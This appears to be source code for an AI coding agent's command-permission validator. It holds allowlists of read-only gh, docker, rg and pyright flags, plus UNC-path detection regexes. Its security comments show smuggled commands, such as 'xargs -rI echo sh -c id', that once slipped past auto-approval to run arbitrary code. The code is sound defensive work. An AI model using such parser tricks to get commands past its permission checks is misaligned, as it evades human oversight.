// to `--flag val`; we must inspect both forms.
|
|
let value = token
|
|
if (token.startsWith('-')) {
|
|
const eqIdx = token.indexOf('=')
|
|
if (eqIdx === -1) continue // flag without inline value, nothing to inspect
|
|
value = token.slice(eqIdx + 1)
|
|
if (!value) continue
|
|
}
|
|
// Skip values that are clearly not repo specs (no `/` at all, or pure numbers)
|
|
if (
|
|
!value.includes('/') &&
|
|
!value.includes('://') &&
|
|
!value.includes('@')
|
|
) {
|
|
continue
|
|
}
|
|
// URL schemes: https://, http://, git://, ssh://
|
|
if (value.includes('://')) {
|
|
return true
|
|
}
|
|
// SSH-style: git@host:owner/repo
|
|
if (value.includes('@')) {
|
|
return true
|
|
}
|
|
// 3+ segments = HOST/OWNER/REPO (normal gh format is OWNER/REPO, 1 slash)
|
|
// Count slashes: 2+ slashes means 3+ segments
|
|
const slashCount = (value.match(/\//g) || []).length
|
|
if (slashCount >= 2) {
|
|
return true
|
|
}
|
|
}
|
|
return false
|
|
}
|
|
|
|
export const GH_READ_ONLY_COMMANDS: Record<string, ExternalCommandConfig> = {
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// gh pr view is read-only — displays pull request details
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'gh pr view': {
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safeFlags: {
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'--json': 'string', // JSON field selection
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'--comments': 'none', // Show comments
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'--repo': 'string', // Target repository (OWNER/REPO)
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'-R': 'string',
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},
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additionalCommandIsDangerousCallback: ghIsDangerousCallback,
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},
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// gh pr list is read-only — lists pull requests
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'gh pr list': {
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safeFlags: {
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'--state': 'string', // open, closed, merged, all
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'-s': 'string',
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'--author': 'string',
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'--assignee': 'string',
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'--label': 'string',
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'--limit': 'number',
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'-L': 'number',
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'--base': 'string',
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'--head': 'string',
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'--search': 'string',
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'--json': 'string',
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'--draft': 'none',
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'--app': 'string',
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'--repo': 'string',
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'-R': 'string',
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},
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additionalCommandIsDangerousCallback: ghIsDangerousCallback,
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},
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// gh pr diff is read-only — shows pull request diff
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'gh pr diff': {
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safeFlags: {
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'--color': 'string',
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'--name-only': 'none',
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'--patch': 'none',
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'--repo': 'string',
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'-R': 'string',
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},
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additionalCommandIsDangerousCallback: ghIsDangerousCallback,
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},
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// gh pr checks is read-only — shows CI status checks
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'gh pr checks': {
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safeFlags: {
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'--watch': 'none',
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'--required': 'none',
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'--fail-fast': 'none',
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'--json': 'string',
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'--interval': 'number',
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'--repo': 'string',
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'-R': 'string',
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},
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additionalCommandIsDangerousCallback: ghIsDangerousCallback,
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},
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// gh issue view is read-only — displays issue details
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'gh issue view': {
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safeFlags: {
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'--json': 'string',
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'--comments': 'none',
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'--repo': 'string',
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'-R': 'string',
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},
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additionalCommandIsDangerousCallback: ghIsDangerousCallback,
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},
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// gh issue list is read-only — lists issues
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'gh issue list': {
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safeFlags: {
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'--state': 'string',
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'-s': 'string',
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'--assignee': 'string',
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'--author': 'string',
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'--label': 'string',
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'--limit': 'number',
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'-L': 'number',
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'--milestone': 'string',
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'--search': 'string',
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'--json': 'string',
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'--app': 'string',
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'--repo': 'string',
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'-R': 'string',
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},
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additionalCommandIsDangerousCallback: ghIsDangerousCallback,
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},
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// gh repo view is read-only — displays repository details
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// NOTE: gh repo view uses a positional argument, not --repo/-R flags
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'gh repo view': {
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safeFlags: {
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'--json': 'string',
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},
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additionalCommandIsDangerousCallback: ghIsDangerousCallback,
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},
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// gh run list is read-only — lists workflow runs
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'gh run list': {
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safeFlags: {
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'--branch': 'string', // Filter by branch
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'-b': 'string',
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'--status': 'string', // Filter by status
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'-s': 'string',
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'--workflow': 'string', // Filter by workflow
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'-w': 'string', // NOTE: -w is --workflow here, NOT --web (gh run list has no --web)
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'--limit': 'number', // Max results
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'-L': 'number',
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'--json': 'string', // JSON field selection
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'--repo': 'string', // Target repository
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'-R': 'string',
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'--event': 'string', // Filter by event type
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'-e': 'string',
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'--user': 'string', // Filter by user
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'-u': 'string',
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'--created': 'string', // Filter by creation date
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'--commit': 'string', // Filter by commit SHA
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'-c': 'string',
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},
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additionalCommandIsDangerousCallback: ghIsDangerousCallback,
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},
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// gh run view is read-only — displays a workflow run's details
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'gh run view': {
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safeFlags: {
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'--log': 'none', // Show full run log
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'--log-failed': 'none', // Show log for failed steps only
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'--exit-status': 'none', // Exit with run's status code
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'--verbose': 'none', // Show job steps
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'-v': 'none', // NOTE: -v is --verbose here, NOT --web
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'--json': 'string', // JSON field selection
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'--repo': 'string', // Target repository
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'-R': 'string',
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'--job': 'string', // View a specific job by ID
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'-j': 'string',
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'--attempt': 'number', // View a specific attempt
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'-a': 'number',
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},
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additionalCommandIsDangerousCallback: ghIsDangerousCallback,
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},
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// gh auth status is read-only — displays authentication state
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// NOTE: --show-token/-t intentionally excluded (leaks secrets)
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'gh auth status': {
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safeFlags: {
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'--active': 'none', // Display active account only
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'-a': 'none',
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'--hostname': 'string', // Check specific hostname
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'-h': 'string',
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'--json': 'string', // JSON field selection
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},
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additionalCommandIsDangerousCallback: ghIsDangerousCallback,
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},
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// gh pr status is read-only — shows your PRs
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'gh pr status': {
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safeFlags: {
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'--conflict-status': 'none', // Display merge conflict status
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'-c': 'none',
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'--json': 'string', // JSON field selection
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'--repo': 'string', // Target repository
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'-R': 'string',
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},
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additionalCommandIsDangerousCallback: ghIsDangerousCallback,
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},
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// gh issue status is read-only — shows your issues
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'gh issue status': {
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safeFlags: {
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'--json': 'string', // JSON field selection
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'--repo': 'string', // Target repository
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'-R': 'string',
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},
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additionalCommandIsDangerousCallback: ghIsDangerousCallback,
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},
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// gh release list is read-only — lists releases
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'gh release list': {
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safeFlags: {
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'--exclude-drafts': 'none', // Exclude draft releases
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'--exclude-pre-releases': 'none', // Exclude pre-releases
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'--json': 'string', // JSON field selection
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'--limit': 'number', // Max results
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'-L': 'number',
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'--order': 'string', // Order: asc|desc
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'-O': 'string',
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'--repo': 'string', // Target repository
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'-R': 'string',
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},
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additionalCommandIsDangerousCallback: ghIsDangerousCallback,
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},
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// gh release view is read-only — displays release details
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// NOTE: --web/-w intentionally excluded (opens browser)
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'gh release view': {
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safeFlags: {
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'--json': 'string', // JSON field selection
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'--repo': 'string', // Target repository
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'-R': 'string',
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},
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additionalCommandIsDangerousCallback: ghIsDangerousCallback,
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},
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// gh workflow list is read-only — lists workflow files
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'gh workflow list': {
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safeFlags: {
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'--all': 'none', // Include disabled workflows
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'-a': 'none',
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'--json': 'string', // JSON field selection
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'--limit': 'number', // Max results
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'-L': 'number',
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'--repo': 'string', // Target repository
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'-R': 'string',
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},
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additionalCommandIsDangerousCallback: ghIsDangerousCallback,
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},
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// gh workflow view is read-only — displays workflow summary
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// NOTE: --web/-w intentionally excluded (opens browser)
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'gh workflow view': {
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safeFlags: {
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'--ref': 'string', // Branch/tag with workflow version
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'-r': 'string',
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'--yaml': 'none', // View workflow yaml
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'-y': 'none',
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'--repo': 'string', // Target repository
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'-R': 'string',
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},
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additionalCommandIsDangerousCallback: ghIsDangerousCallback,
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},
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// gh label list is read-only — lists labels
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// NOTE: --web/-w intentionally excluded (opens browser)
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'gh label list': {
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safeFlags: {
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'--json': 'string', // JSON field selection
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'--limit': 'number', // Max results
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'-L': 'number',
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'--order': 'string', // Order: asc|desc
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'--search': 'string', // Search label names
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'-S': 'string',
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'--sort': 'string', // Sort: created|name
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'--repo': 'string', // Target repository
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'-R': 'string',
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},
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additionalCommandIsDangerousCallback: ghIsDangerousCallback,
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},
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// gh search repos is read-only — searches repositories
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// NOTE: --web/-w intentionally excluded (opens browser)
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'gh search repos': {
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safeFlags: {
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'--archived': 'none', // Filter by archived state
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'--created': 'string', // Filter by creation date
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'--followers': 'string', // Filter by followers count
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'--forks': 'string', // Filter by forks count
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'--good-first-issues': 'string', // Filter by good first issues
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'--help-wanted-issues': 'string', // Filter by help wanted issues
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'--include-forks': 'string', // Include forks: false|true|only
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'--json': 'string', // JSON field selection
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'--language': 'string', // Filter by language
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'--license': 'string', // Filter by license
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'--limit': 'number', // Max results
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'-L': 'number',
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'--match': 'string', // Restrict to field: name|description|readme
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'--number-topics': 'string', // Filter by number of topics
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'--order': 'string', // Order: asc|desc
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'--owner': 'string', // Filter by owner
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'--size': 'string', // Filter by size range
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'--sort': 'string', // Sort: forks|help-wanted-issues|stars|updated
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'--stars': 'string', // Filter by stars
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'--topic': 'string', // Filter by topic
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'--updated': 'string', // Filter by update date
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'--visibility': 'string', // Filter: public|private|internal
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},
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},
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// gh search issues is read-only — searches issues
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// NOTE: --web/-w intentionally excluded (opens browser)
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'gh search issues': {
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safeFlags: {
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'--app': 'string', // Filter by GitHub App author
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'--assignee': 'string', // Filter by assignee
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'--author': 'string', // Filter by author
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'--closed': 'string', // Filter by closed date
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'--commenter': 'string', // Filter by commenter
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'--comments': 'string', // Filter by comment count
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'--created': 'string', // Filter by creation date
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'--include-prs': 'none', // Include PRs in results
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'--interactions': 'string', // Filter by interactions count
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'--involves': 'string', // Filter by involvement
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'--json': 'string', // JSON field selection
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'--label': 'string', // Filter by label
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'--language': 'string', // Filter by language
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'--limit': 'number', // Max results
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'-L': 'number',
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'--locked': 'none', // Filter locked conversations
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'--match': 'string', // Restrict to field: title|body|comments
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'--mentions': 'string', // Filter by user mentions
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'--milestone': 'string', // Filter by milestone
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'--no-assignee': 'none', // Filter missing assignee
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'--no-label': 'none', // Filter missing label
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'--no-milestone': 'none', // Filter missing milestone
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'--no-project': 'none', // Filter missing project
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'--order': 'string', // Order: asc|desc
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'--owner': 'string', // Filter by owner
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'--project': 'string', // Filter by project
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'--reactions': 'string', // Filter by reaction count
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'--repo': 'string', // Filter by repository
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'-R': 'string',
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'--sort': 'string', // Sort field
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'--state': 'string', // Filter: open|closed
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'--team-mentions': 'string', // Filter by team mentions
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'--updated': 'string', // Filter by update date
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'--visibility': 'string', // Filter: public|private|internal
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},
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},
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// gh search prs is read-only — searches pull requests
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// NOTE: --web/-w intentionally excluded (opens browser)
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'gh search prs': {
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safeFlags: {
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'--app': 'string', // Filter by GitHub App author
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'--assignee': 'string', // Filter by assignee
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'--author': 'string', // Filter by author
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'--base': 'string', // Filter by base branch
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'-B': 'string',
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'--checks': 'string', // Filter by check status
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'--closed': 'string', // Filter by closed date
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'--commenter': 'string', // Filter by commenter
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'--comments': 'string', // Filter by comment count
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'--created': 'string', // Filter by creation date
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'--draft': 'none', // Filter draft PRs
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'--head': 'string', // Filter by head branch
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'-H': 'string',
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'--interactions': 'string', // Filter by interactions count
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'--involves': 'string', // Filter by involvement
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'--json': 'string', // JSON field selection
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'--label': 'string', // Filter by label
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'--language': 'string', // Filter by language
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'--limit': 'number', // Max results
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'-L': 'number',
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'--locked': 'none', // Filter locked conversations
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'--match': 'string', // Restrict to field: title|body|comments
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'--mentions': 'string', // Filter by user mentions
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'--merged': 'none', // Filter merged PRs
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'--merged-at': 'string', // Filter by merge date
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'--milestone': 'string', // Filter by milestone
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'--no-assignee': 'none', // Filter missing assignee
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'--no-label': 'none', // Filter missing label
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'--no-milestone': 'none', // Filter missing milestone
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'--no-project': 'none', // Filter missing project
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'--order': 'string', // Order: asc|desc
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'--owner': 'string', // Filter by owner
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'--project': 'string', // Filter by project
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'--reactions': 'string', // Filter by reaction count
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'--repo': 'string', // Filter by repository
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'-R': 'string',
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'--review': 'string', // Filter by review status
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'--review-requested': 'string', // Filter by review requested
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'--reviewed-by': 'string', // Filter by reviewer
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'--sort': 'string', // Sort field
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'--state': 'string', // Filter: open|closed
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'--team-mentions': 'string', // Filter by team mentions
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'--updated': 'string', // Filter by update date
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'--visibility': 'string', // Filter: public|private|internal
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},
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},
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// gh search commits is read-only — searches commits
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// NOTE: --web/-w intentionally excluded (opens browser)
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'gh search commits': {
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safeFlags: {
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'--author': 'string', // Filter by author
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'--author-date': 'string', // Filter by authored date
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'--author-email': 'string', // Filter by author email
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'--author-name': 'string', // Filter by author name
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'--committer': 'string', // Filter by committer
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'--committer-date': 'string', // Filter by committed date
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'--committer-email': 'string', // Filter by committer email
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'--committer-name': 'string', // Filter by committer name
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'--hash': 'string', // Filter by commit hash
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'--json': 'string', // JSON field selection
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'--limit': 'number', // Max results
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'-L': 'number',
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'--merge': 'none', // Filter merge commits
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'--order': 'string', // Order: asc|desc
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'--owner': 'string', // Filter by owner
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'--parent': 'string', // Filter by parent hash
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|
'--repo': 'string', // Filter by repository
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|
'-R': 'string',
|
|
'--sort': 'string', // Sort: author-date|committer-date
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|
'--tree': 'string', // Filter by tree hash
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|
'--visibility': 'string', // Filter: public|private|internal
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},
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|
},
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// gh search code is read-only — searches code
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// NOTE: --web/-w intentionally excluded (opens browser)
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'gh search code': {
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safeFlags: {
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'--extension': 'string', // Filter by file extension
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|
'--filename': 'string', // Filter by filename
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|
'--json': 'string', // JSON field selection
|
|
'--language': 'string', // Filter by language
|
|
'--limit': 'number', // Max results
|
|
'-L': 'number',
|
|
'--match': 'string', // Restrict to: file|path
|
|
'--owner': 'string', // Filter by owner
|
|
'--repo': 'string', // Filter by repository
|
|
'-R': 'string',
|
|
'--size': 'string', // Filter by size range
|
|
},
|
|
},
|
|
}
|
|
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// ---------------------------------------------------------------------------
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// DOCKER_READ_ONLY_COMMANDS — docker inspect/logs read-only commands
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// ---------------------------------------------------------------------------
|
|
|
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export const DOCKER_READ_ONLY_COMMANDS: Record<string, ExternalCommandConfig> =
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{
|
|
'docker logs': {
|
|
safeFlags: {
|
|
'--follow': 'none',
|
|
'-f': 'none',
|
|
'--tail': 'string',
|
|
'-n': 'string',
|
|
'--timestamps': 'none',
|
|
'-t': 'none',
|
|
'--since': 'string',
|
|
'--until': 'string',
|
|
'--details': 'none',
|
|
},
|
|
},
|
|
'docker inspect': {
|
|
safeFlags: {
|
|
'--format': 'string',
|
|
'-f': 'string',
|
|
'--type': 'string',
|
|
'--size': 'none',
|
|
'-s': 'none',
|
|
},
|
|
},
|
|
}
|
|
|
|
// ---------------------------------------------------------------------------
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// RIPGREP_READ_ONLY_COMMANDS — rg (ripgrep) read-only search
|
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// ---------------------------------------------------------------------------
|
|
|
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export const RIPGREP_READ_ONLY_COMMANDS: Record<string, ExternalCommandConfig> =
|
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{
|
|
rg: {
|
|
safeFlags: {
|
|
// Pattern flags
|
|
'-e': 'string', // Pattern to search for
|
|
'--regexp': 'string',
|
|
'-f': 'string', // Read patterns from file
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|
|
|
// Common search options
|
|
'-i': 'none', // Case insensitive
|
|
'--ignore-case': 'none',
|
|
'-S': 'none', // Smart case
|
|
'--smart-case': 'none',
|
|
'-F': 'none', // Fixed strings
|
|
'--fixed-strings': 'none',
|
|
'-w': 'none', // Word regexp
|
|
'--word-regexp': 'none',
|
|
'-v': 'none', // Invert match
|
|
'--invert-match': 'none',
|
|
|
|
// Output options
|
|
'-c': 'none', // Count matches
|
|
'--count': 'none',
|
|
'-l': 'none', // Files with matches
|
|
'--files-with-matches': 'none',
|
|
'--files-without-match': 'none',
|
|
'-n': 'none', // Line number
|
|
'--line-number': 'none',
|
|
'-o': 'none', // Only matching
|
|
'--only-matching': 'none',
|
|
'-A': 'number', // After context
|
|
'--after-context': 'number',
|
|
'-B': 'number', // Before context
|
|
'--before-context': 'number',
|
|
'-C': 'number', // Context
|
|
'--context': 'number',
|
|
'-H': 'none', // With filename
|
|
'-h': 'none', // No filename
|
|
'--heading': 'none',
|
|
'--no-heading': 'none',
|
|
'-q': 'none', // Quiet
|
|
'--quiet': 'none',
|
|
'--column': 'none',
|
|
|
|
// File filtering
|
|
'-g': 'string', // Glob
|
|
'--glob': 'string',
|
|
'-t': 'string', // Type
|
|
'--type': 'string',
|
|
'-T': 'string', // Type not
|
|
'--type-not': 'string',
|
|
'--type-list': 'none',
|
|
'--hidden': 'none',
|
|
'--no-ignore': 'none',
|
|
'-u': 'none', // Unrestricted
|
|
|
|
// Common options
|
|
'-m': 'number', // Max count per file
|
|
'--max-count': 'number',
|
|
'-d': 'number', // Max depth
|
|
'--max-depth': 'number',
|
|
'-a': 'none', // Text (search binary files)
|
|
'--text': 'none',
|
|
'-z': 'none', // Search zip
|
|
'-L': 'none', // Follow symlinks
|
|
'--follow': 'none',
|
|
|
|
// Display options
|
|
'--color': 'string',
|
|
'--json': 'none',
|
|
'--stats': 'none',
|
|
|
|
// Help and version
|
|
'--help': 'none',
|
|
'--version': 'none',
|
|
'--debug': 'none',
|
|
|
|
// Special argument separator
|
|
'--': 'none',
|
|
},
|
|
},
|
|
}
|
|
|
|
// ---------------------------------------------------------------------------
|
|
// PYRIGHT_READ_ONLY_COMMANDS — pyright static type checker
|
|
// ---------------------------------------------------------------------------
|
|
|
|
export const PYRIGHT_READ_ONLY_COMMANDS: Record<string, ExternalCommandConfig> =
|
|
{
|
|
pyright: {
|
|
respectsDoubleDash: false, // pyright treats -- as a file path, not end-of-options
|
|
safeFlags: {
|
|
'--outputjson': 'none',
|
|
'--project': 'string',
|
|
'-p': 'string',
|
|
'--pythonversion': 'string',
|
|
'--pythonplatform': 'string',
|
|
'--typeshedpath': 'string',
|
|
'--venvpath': 'string',
|
|
'--level': 'string',
|
|
'--stats': 'none',
|
|
'--verbose': 'none',
|
|
'--version': 'none',
|
|
'--dependencies': 'none',
|
|
'--warnings': 'none',
|
|
},
|
|
additionalCommandIsDangerousCallback: (
|
|
_rawCommand: string,
|
|
args: string[],
|
|
) => {
|
|
// Check if --watch or -w appears as a standalone token (flag)
|
|
return args.some(t => t === '--watch' || t === '-w')
|
|
},
|
|
},
|
|
}
|
|
|
|
// ---------------------------------------------------------------------------
|
|
// EXTERNAL_READONLY_COMMANDS — cross-shell read-only commands
|
|
// Only commands that work identically in bash and PowerShell on Windows.
|
|
// Unix-specific commands (cat, head, wc, etc.) belong in BashTool's READONLY_COMMANDS.
|
|
// ---------------------------------------------------------------------------
|
|
|
|
export const EXTERNAL_READONLY_COMMANDS: readonly string[] = [
|
|
// Cross-platform external tools that work the same in bash and PowerShell on Windows
|
|
'docker ps',
|
|
'docker images',
|
|
] as const
|
|
|
|
// ---------------------------------------------------------------------------
|
|
// UNC path detection (shared across Bash and PowerShell)
|
|
// ---------------------------------------------------------------------------
|
|
|
|
/**
|
|
* Check if a path or command contains a UNC path that could trigger network
|
|
* requests (NTLM/Kerberos credential leakage, WebDAV attacks).
|
|
*
|
|
* This function detects:
|
|
* - Basic UNC paths: \\server\share, \\foo.com\file
|
|
* - WebDAV patterns: \\server@SSL@8443\, \\server@8443@SSL\, \\server\DavWWWRoot\
|
|
* - IP-based UNC: \\192.168.1.1\share, \\[2001:db8::1]\share
|
|
* - Forward-slash variants: //server/share
|
|
*
|
|
* @param pathOrCommand The path or command string to check
|
|
* @returns true if the path/command contains potentially vulnerable UNC paths
|
|
*/
|
|
export function containsVulnerableUncPath(pathOrCommand: string): boolean {
|
|
// Only check on Windows platform
|
|
if (getPlatform() !== 'windows') {
|
|
return false
|
|
}
|
|
|
|
// 1. Check for general UNC paths with backslashes
|
|
// Pattern matches: \\server, \\server\share, \\server/share, \\server@port\share
|
|
// Uses [^\s\\/]+ for hostname to catch Unicode homoglyphs and other non-ASCII chars
|
|
// Trailing accepts both \ and / since Windows treats both as path separators
|
|
const backslashUncPattern = /\\\\[^\s\\/]+(?:@(?:\d+|ssl))?(?:[\\/]|$|\s)/i
|
|
if (backslashUncPattern.test(pathOrCommand)) {
|
|
return true
|
|
}
|
|
|
|
// 2. Check for forward-slash UNC paths
|
|
// Pattern matches: //server, //server/share, //server\share, //192.168.1.1/share
|
|
// Uses negative lookbehind (?<!:) to exclude URLs (https://, http://, ftp://)
|
|
// while catching // preceded by quotes, =, or any other non-colon character.
|
|
// Trailing accepts both / and \ since Windows treats both as path separators
|
|
const forwardSlashUncPattern =
|
|
// eslint-disable-next-line custom-rules/no-lookbehind-regex -- .test() on short command strings
|
|
/(?<!:)\/\/[^\s\\/]+(?:@(?:\d+|ssl))?(?:[\\/]|$|\s)/i
|
|
if (forwardSlashUncPattern.test(pathOrCommand)) {
|
|
return true
|
|
}
|
|
|
|
// 3. Check for mixed-separator UNC paths (forward slash + backslashes)
|
|
// On Windows/Cygwin, /\ is equivalent to // since both are path separators.
|
|
// In bash, /\\server becomes /\server after escape processing, which is a UNC path.
|
|
// Requires 2+ backslashes after / because a single backslash just escapes the next char
|
|
// (e.g., /\a → /a after bash processing, which is NOT a UNC path).
|
|
const mixedSlashUncPattern = /\/\\{2,}[^\s\\/]/
|
|
if (mixedSlashUncPattern.test(pathOrCommand)) {
|
|
return true
|
|
}
|
|
|
|
// 4. Check for mixed-separator UNC paths (backslashes + forward slash)
|
|
// \\/server in bash becomes \/server after escape processing, which is a UNC path
|
|
// on Windows since both \ and / are path separators.
|
|
const reverseMixedSlashUncPattern = /\\{2,}\/[^\s\\/]/
|
|
if (reverseMixedSlashUncPattern.test(pathOrCommand)) {
|
|
return true
|
|
}
|
|
|
|
// 5. Check for WebDAV SSL/port patterns
|
|
// Examples: \\server@SSL@8443\path, \\server@8443@SSL\path
|
|
if (/@SSL@\d+/i.test(pathOrCommand) || /@\d+@SSL/i.test(pathOrCommand)) {
|
|
return true
|
|
}
|
|
|
|
// 6. Check for DavWWWRoot marker (Windows WebDAV redirector)
|
|
// Example: \\server\DavWWWRoot\path
|
|
if (/DavWWWRoot/i.test(pathOrCommand)) {
|
|
return true
|
|
}
|
|
|
|
// 7. Check for UNC paths with IPv4 addresses (explicit check for defense-in-depth)
|
|
// Examples: \\192.168.1.1\share, \\10.0.0.1\path
|
|
if (
|
|
/^\\\\(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})[\\/]/.test(pathOrCommand) ||
|
|
/^\/\/(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})[\\/]/.test(pathOrCommand)
|
|
) {
|
|
return true
|
|
}
|
|
|
|
// 8. Check for UNC paths with bracketed IPv6 addresses (explicit check for defense-in-depth)
|
|
// Examples: \\[2001:db8::1]\share, \\[::1]\path
|
|
if (
|
|
/^\\\\(\[[\da-fA-F:]+\])[\\/]/.test(pathOrCommand) ||
|
|
/^\/\/(\[[\da-fA-F:]+\])[\\/]/.test(pathOrCommand)
|
|
) {
|
|
return true
|
|
}
|
|
|
|
return false
|
|
}
|
|
|
|
// ---------------------------------------------------------------------------
|
|
// Flag validation utilities
|
|
// ---------------------------------------------------------------------------
|
|
|
|
// Regex pattern to match valid flag names (letters, digits, underscores, hyphens)
|
|
export const FLAG_PATTERN = /^-[a-zA-Z0-9_-]/
|
|
|
|
/**
|
|
* Validates flag arguments based on their expected type
|
|
*/
|
|
export function validateFlagArgument(
|
|
value: string,
|
|
argType: FlagArgType,
|
|
): boolean {
|
|
switch (argType) {
|
|
case 'none':
|
|
return false // Should not have been called for 'none' type
|
|
case 'number':
|
|
return /^\d+$/.test(value)
|
|
case 'string':
|
|
return true // Any string including empty is valid
|
|
case 'char':
|
|
return value.length === 1
|
|
case '{}':
|
|
return value === '{}'
|
|
case 'EOF':
|
|
return value === 'EOF'
|
|
default:
|
|
return false
|
|
}
|
|
}
|
|
|
|
/**
|
|
* Validates the flags/arguments portion of a tokenized command against a config.
|
|
* This is the flag-walking loop extracted from BashTool's isCommandSafeViaFlagParsing.
|
|
*
|
|
* @param tokens - Pre-tokenized args (from bash shell-quote or PowerShell AST)
|
|
* @param startIndex - Where to start validating (after command tokens)
|
|
* @param config - The safe flags config
|
|
* @param options.commandName - For command-specific handling (git numeric shorthand, grep/rg attached numeric)
|
|
* @param options.rawCommand - For additionalCommandIsDangerousCallback
|
|
* @param options.xargsTargetCommands - If provided, enables xargs-style target command detection
|
|
* @returns true if all flags are valid, false otherwise
|
|
*/
|
|
export function validateFlags(
|
|
tokens: string[],
|
|
startIndex: number,
|
|
config: ExternalCommandConfig,
|
|
options?: {
|
|
commandName?: string
|
|
rawCommand?: string
|
|
xargsTargetCommands?: string[]
|
|
},
|
|
): boolean {
|
|
let i = startIndex
|
|
|
|
while (i < tokens.length) {
|
|
let token = tokens[i]
|
|
if (!token) {
|
|
i++
|
|
continue
|
|
}
|
|
|
|
// Special handling for xargs: once we find the target command, stop validating flags
|
|
if (
|
|
options?.xargsTargetCommands &&
|
|
options.commandName === 'xargs' &&
|
|
(!token.startsWith('-') || token === '--')
|
|
) {
|
|
if (token === '--' && i + 1 < tokens.length) {
|
|
i++
|
|
token = tokens[i]
|
|
}
|
|
if (token && options.xargsTargetCommands.includes(token)) {
|
|
break
|
|
}
|
|
return false
|
|
}
|
|
|
|
if (token === '--') {
|
|
// SECURITY: Only break if the tool respects POSIX `--` (default: true).
|
|
// Tools like pyright don't respect `--` — they treat it as a file path
|
|
// and continue processing subsequent tokens as flags. Breaking here
|
|
// would let `pyright -- --createstub os` auto-approve a file-write flag.
|
|
if (config.respectsDoubleDash !== false) {
|
|
i++
|
|
break // Everything after -- is arguments
|
|
}
|
|
// Tool doesn't respect --: treat as positional arg, keep validating
|
|
i++
|
|
continue
|
|
}
|
|
|
|
if (token.startsWith('-') && token.length > 1 && FLAG_PATTERN.test(token)) {
|
|
// Handle --flag=value format
|
|
// SECURITY: Track whether the token CONTAINS `=` separately from
|
|
// whether the value is non-empty. `-E=` has `hasEquals=true` but
|
|
// `inlineValue=''` (falsy). Without `hasEquals`, the falsy check at
|
|
// line ~1813 would fall through to "consume next token" — but GNU
|
|
// getopt for short options with mandatory arg sees `-E=` as `-E` with
|
|
// ATTACHED arg `=` (it doesn't strip `=` for short options). Parser
|
|
// differential: validator advances 2 tokens, GNU advances 1.
|
|
//
|
|
// Attack: `xargs -E= EOF echo foo` (zero permissions)
|
|
// Validator: inlineValue='' falsy → consumes EOF as -E arg → i+=2 →
|
|
// echo ∈ SAFE_TARGET_COMMANDS_FOR_XARGS → break → AUTO-ALLOWED
|
|
// GNU xargs: -E attached arg=`=` → EOF is TARGET COMMAND → CODE EXEC
|
|
//
|
|
// Fix: when hasEquals is true, use inlineValue (even if empty) as the
|
|
// provided arg. validateFlagArgument('', 'EOF') → false → rejected.
|
|
// This is correct for all arg types: the user explicitly typed `=`,
|
|
// indicating they provided a value (empty). Don't consume next token.
|
|
const hasEquals = token.includes('=')
|
|
const [flag, ...valueParts] = token.split('=')
|
|
const inlineValue = valueParts.join('=')
|
|
|
|
if (!flag) {
|
|
return false
|
|
}
|
|
|
|
const flagArgType = config.safeFlags[flag]
|
|
|
|
if (!flagArgType) {
|
|
// Special case: git commands support -<number> as shorthand for -n <number>
|
|
if (options?.commandName === 'git' && flag.match(/^-\d+$/)) {
|
|
// This is equivalent to -n flag which is safe for git log/diff/show
|
|
i++
|
|
continue
|
|
}
|
|
|
|
// Handle flags with directly attached numeric arguments (e.g., -A20, -B10)
|
|
// Only apply this special handling to grep and rg commands
|
|
if (
|
|
(options?.commandName === 'grep' || options?.commandName === 'rg') &&
|
|
flag.startsWith('-') &&
|
|
!flag.startsWith('--') &&
|
|
flag.length > 2
|
|
) {
|
|
const potentialFlag = flag.substring(0, 2) // e.g., '-A' from '-A20'
|
|
const potentialValue = flag.substring(2) // e.g., '20' from '-A20'
|
|
|
|
if (config.safeFlags[potentialFlag] && /^\d+$/.test(potentialValue)) {
|
|
// This is a flag with attached numeric argument
|
|
const flagArgType = config.safeFlags[potentialFlag]
|
|
if (flagArgType === 'number' || flagArgType === 'string') {
|
|
// Validate the numeric value
|
|
if (validateFlagArgument(potentialValue, flagArgType)) {
|
|
i++
|
|
continue
|
|
} else {
|
|
return false // Invalid attached value
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
// Handle combined single-letter flags like -nr
|
|
// SECURITY: We must NOT allow any bundled flag that takes an argument.
|
|
// GNU getopt bundling semantics: when an arg-taking option appears LAST
|
|
// in a bundle with no trailing chars, the NEXT argv element is consumed
|
|
// as its argument. So `xargs -rI echo sh -c id` is parsed by xargs as:
|
|
// -r (no-arg) + -I with replace-str=`echo`, target=`sh -c id`
|
|
// Our naive handler previously only checked EXISTENCE in safeFlags (both
|
|
// `-r: 'none'` and `-I: '{}'` are truthy), then `i++` consumed ONE token.
|
|
// This created a parser differential: our validator thought `echo` was
|
|
// the xargs target (in SAFE_TARGET_COMMANDS_FOR_XARGS → break), but
|
|
// xargs ran `sh -c id`. ARBITRARY RCE with only Bash(echo:*) or less.
|
|
//
|
|
// Fix: require ALL bundled flags to have arg type 'none'. If any bundled
|
|
// flag requires an argument (non-'none' type), reject the whole bundle.
|
|
// This is conservative — it blocks `-rI` (xargs) entirely, but that's
|
|
// the safe direction. Users who need `-I` can use it unbundled: `-r -I {}`.
|
|
if (flag.startsWith('-') && !flag.startsWith('--') && flag.length > 2) {
|
|
for (let j = 1; j < flag.length; j++) {
|
|
const singleFlag = '-' + flag[j]
|
|
const flagType = config.safeFlags[singleFlag]
|
|
if (!flagType) {
|
|
return false // One of the combined flags is not safe
|
|
}
|
|
// SECURITY: Bundled flags must be no-arg type. An arg-taking flag
|
|
// in a bundle consumes the NEXT token in GNU getopt, which our
|
|
// handler doesn't model. Reject to avoid parser differential.
|
|
if (flagType !== 'none') {
|
|
return false // Arg-taking flag in a bundle — cannot safely validate
|
|
}
|
|
}
|
|
i++
|
|
continue
|
|
} else {
|
|
return false // Unknown flag
|
|
}
|
|
}
|
|
|
|
// Validate flag arguments
|
|
if (flagArgType === 'none') {
|
|
// SECURITY: hasEquals covers `-FLAG=` (empty inline). Without it,
|
|
// `-FLAG=` with 'none' type would pass (inlineValue='' is falsy).
|
|
if (hasEquals) {
|
|
return false // Flag should not have a value
|
|
}
|
|
i++
|
|
} else {
|
|
let argValue: string
|
|
// SECURITY: Use hasEquals (not inlineValue truthiness). `-E=` must
|
|
// NOT consume next token — the user explicitly provided empty value.
|
|
if (hasEquals) {
|
|
argValue = inlineValue
|
|
i++
|
|
} else {
|
|
// Check if next token is the argument
|
|
if (
|
|
i + 1 >= tokens.length ||
|
|
(tokens[i + 1] &&
|
|
tokens[i + 1]!.startsWith('-') &&
|
|
tokens[i + 1]!.length > 1 &&
